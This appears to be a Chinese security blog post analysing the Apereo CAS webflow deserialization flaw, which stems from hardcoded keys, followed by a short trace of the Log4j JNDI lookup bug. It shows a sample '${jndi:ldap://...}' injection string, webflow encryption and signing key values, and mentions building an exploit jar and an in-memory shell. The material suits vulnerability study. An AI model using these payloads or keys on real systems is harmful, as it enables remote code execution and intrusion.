1、漏洞描述
Apereo Cas一般是用来做身份认证的,所以有一定的攻击面,漏洞的成因是因为key的默认硬编码,导致可以通过反序列化配合Gadget使用。
通过路由404报错查看版本:https://cas.example.com/cas/iwana404;)
2、环境搭建
x:\资料\蓝凌ekp
这里下载地址,直接选择对应的版本,选择war进行下载,然后导入到tomcat中,运行即可。
直接下载war包,tomcat启动即可 如果想要调试的话,catalina.bat中加上监听端口然后启动
然后用idea远程Debug链接即可
Apereo CAS 4.1.X ~ 4.1.6
当前测试版本4.15 ,大概流程就是对execution这个参数经过解密方式然后进行了readObject(),然后通过cmd进行回显。 这里和之前跟过的JSF框架中的viewstate反序列化很相似。
经过一系列转发,会来到FlowHandlerAdapter#handle
方法中
进入DefaultFlowUrlHandler#getFlowExecutionKey()
中
然后进入resumeExecution()中,参数为(参数的值,上下文)
然后转换为字节流
然后对解密的数据进行了反序列化(看不看解密流程意义不大,因为加密和解密在AbstractCipherBean
中encrypt和decrypt)
调用链子
分析漏洞成因
这里调用了HandlerAdapter(处理器适配器),也就是spring-webflow-2.4.1.RELEASE.jar中的FlowExecutorImpl#resumeExecution
进而调用 spring-webflow-client-repo-1.0.0.jar的 getFlowExecution
方法
出现的小问题
在本地自己编写exp测试的时候发现,只有加上了这个uuid_的才会反序列化成功,疑惑了很久跟一下流程:
这里会调用resumeExecution方法
flowExecutionKey的值,就是传入的恶意序列化
继续调用 parseFlowExecutionKey
方法
继续调用parse
方法
取出uuid的值,然后把uuid后面的值进行base64解密
然后后面就是,取出后半段的data,然后进行解密操作。
加密的主要方式就是 EncryptedTranscoder
这个类
重要的是这个keyStore硬编码密钥 加解密相关的配置会先去配置文件中获取,没有配置密钥信息的会使用jar包默认的密钥信息(默认keystore文件位于spring-webflow-client-repo-1.0.0.jar包当中)。
然后可以发现看的这个工具是直接生成了一个带回显的内存马,自己尝试一下:
我自己的想法就是,找到一个上下文context对象,然后把里面的request和response对象提取出来即可
这里也是参考其它师傅的文章
Apereo CAS 4.1.7 ~ 4.2.X
高版本的依赖去掉了commmons-collections4.但是加了 C3p0和CB的依赖
高版本的额话就是密钥可以从cas.properties中设置
直接打出现的报错
通过设置cas.properties中的字段
warn.cookie.secure=0
webflow.encryption.key=K81v0XNPR2tZKuJA
webflow.signing.key=WlNYnlAlHRtPPPS6rygh5y_-7H1UTzAtJHVpzFoWyogANdoxd99LdjmLEuDKzPeo5Q5IB40zWcteAkDglHy2ZA
打算进行二开
cas_exploit-1.0-SNAPSHOT-all.jar
根据别人的jar包,分析了一下,发现上面报错的原因是密钥不正确
发现已经给出了特有的密钥方法,只不过我没cas.properties就会赋值null,导致的报错
解决!!!
Log4j
String message = "${jndi:ldap://127.0.0.1:1389/0xrsto}";
logger.error("error info:{}",message);
从这里的error()—>msg.formatTo 将源代码中的message替换{}
就是首先找${ 然后进入另一个循环找 }截取中间的值,
进入StrSubstitutor类resolveVariable方法
获取变量解析器
最后调用前缀. jndi.l
在strLookupMap中键名为”jndi”的值为JndiLookup对象,进入JndiLookup类的lookup方法
三个关键点:
- 在PatternLayout类的toSerializable方法中,调用MessagePatternConverter的format方法,这个方法是一个格式化的过程,将格式化的内容添加到workingBuilder中,也就是将源代码中的message替换{},同时匹配字符串中是否存在${}占位符,并使用config.getStrSubstitutor().replace进行替换
- 在StrSubstitutor类的substitute方法中,提取${}中的内容,并调用StrSubstitutor类resolveVariable方法对其解析
- 在Interpolator类的lookup方法中,根据前缀在map中获取对应的StrLookup对象,然后调用其lookup方法,这里的前缀为jndi,所以获取的是JndiLookup对象,然后调用其lookup方法,这个方法调用了jndiManager.lookup方法
本作品采用CC BY-NC-ND 4.0进行许可。转载,请注明原作者 Azeril 及本文源链接。